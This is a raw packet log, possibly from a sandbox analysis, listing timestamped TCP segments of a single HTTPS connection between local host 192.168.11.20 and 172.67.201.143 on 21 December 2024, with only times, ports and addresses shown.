Dec 21, 2024 19:23:05.458681107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.458759069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.459301949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.459315062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.459397078 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.459498882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.459553957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.459553957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.459558964 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.459600925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.460170984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.460186958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.460357904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.460362911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.460423946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.460515022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.461266994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.461306095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.461396933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.461502075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.461507082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.461592913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.462038994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.462091923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.462218046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.462223053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.462279081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.462373018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.462886095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.462964058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.463046074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.463140011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.463144064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.463401079 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.463911057 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.463923931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.464124918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.464129925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.464215994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.464346886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.464756966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.464768887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.464917898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.465012074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.465017080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.465200901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.465615034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.465764046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.465766907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.465853930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.465858936 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.465922117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.466022968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.466639042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.466654062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.466845989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.466851950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.466948986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.467076063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.467744112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.467760086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.467858076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.467963934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.467972040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.468054056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.468195915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.468198061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.468203068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.468415022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.468419075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.469016075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.469027996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.469113111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.469196081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.469203949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.469286919 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.469377041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.469989061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470000982 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470060110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470144987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.470222950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.470228910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470330000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.470747948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470899105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.470904112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.470993042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.470998049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.471144915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.471151114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.471239090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.471445084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.471600056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.471604109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.471690893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.471782923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.472512960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.472523928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.472640991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.472767115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.472776890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.472826004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.472951889 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.473377943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.473462105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.473526955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.473534107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.473604918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.473608971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.473692894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474181890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.474332094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474342108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.474379063 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.474421978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474481106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.474486113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474489927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.474581003 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474658012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.474749088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.475171089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.475399971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.475517988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.475670099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.475811958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.475833893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.475982904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476056099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.476072073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476077080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.476231098 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476336002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476687908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.476841927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476847887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.476933956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.476937056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.477025032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.477099895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.480359077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.480371952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.480664968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.480674028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.480777025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.480895996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.480900049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.481026888 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.481128931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.481668949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.481683016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.481822014 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.481975079 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.481980085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.482234955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.482409000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.482424021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.482625008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.482634068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.482716084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.482861042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.483314037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.483325958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.483445883 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.483547926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.483551979 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.483640909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.483782053 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.484152079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.484167099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.484301090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.484381914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.484386921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.484487057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.484616041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.484956026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.484967947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.485176086 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.485183001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.485266924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.485395908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.485934019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.485949039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.486121893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486176968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486181974 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.486229897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486433983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486654997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.486668110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.486826897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486927986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.486932993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.487107992 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.487142086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.487200975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.487205029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.487319946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.487409115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488245010 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.488257885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.488399982 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488475084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488478899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.488568068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488708973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488750935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.488981962 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.488986969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.489058971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.489063978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.489228010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.489309072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.489362001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.489375114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.489578962 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.489582062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.489670038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.489804029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.490298986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.490312099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.490477085 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.490580082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.490585089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.490788937 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.491136074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.491146088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.491350889 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.491357088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.491439104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.491570950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.491842985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.491852999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.492063046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.492068052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.492156982 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.492187023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.492268085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.492284060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.492288113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.492364883 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.492453098 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493031025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493046045 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493180990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493258953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493263006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493351936 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493585110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493601084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493738890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493742943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.493817091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.493923903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.494446039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.494456053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.494597912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.494676113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.494679928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.494770050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.495196104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.495208025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.495381117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.495387077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.495485067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.495678902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.496009111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.496018887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.496196985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.496244907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.496248960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.496304035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.497092962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.497106075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.497205019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.497288942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.497294903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.497366905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.497513056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.497639894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.498162031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.498172045 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.498383999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.498390913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.498465061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.498605013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.498939991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.498950958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.499134064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.499190092 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.499192953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.499238968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.499383926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.499851942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.499861002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.500071049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.500076056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.500149012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.500235081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.500247955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.500292063 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.500296116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.500447989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.500592947 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.501182079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.501189947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.501360893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.501451969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.501455069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.501724958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.501931906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.501940966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.502151966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.502155066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.502242088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.502377033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.502759933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.502768040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.502918005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.503009081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.503012896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.503230095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.503232956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.503238916 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.503362894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.503463984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.503468037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.503529072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.503684998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.504420042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.504430056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.504571915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.504647017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.504650116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.504740953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.504880905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.504985094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.504995108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.505208015 CET	49743	443	192.168.11.20	172.67.201.143
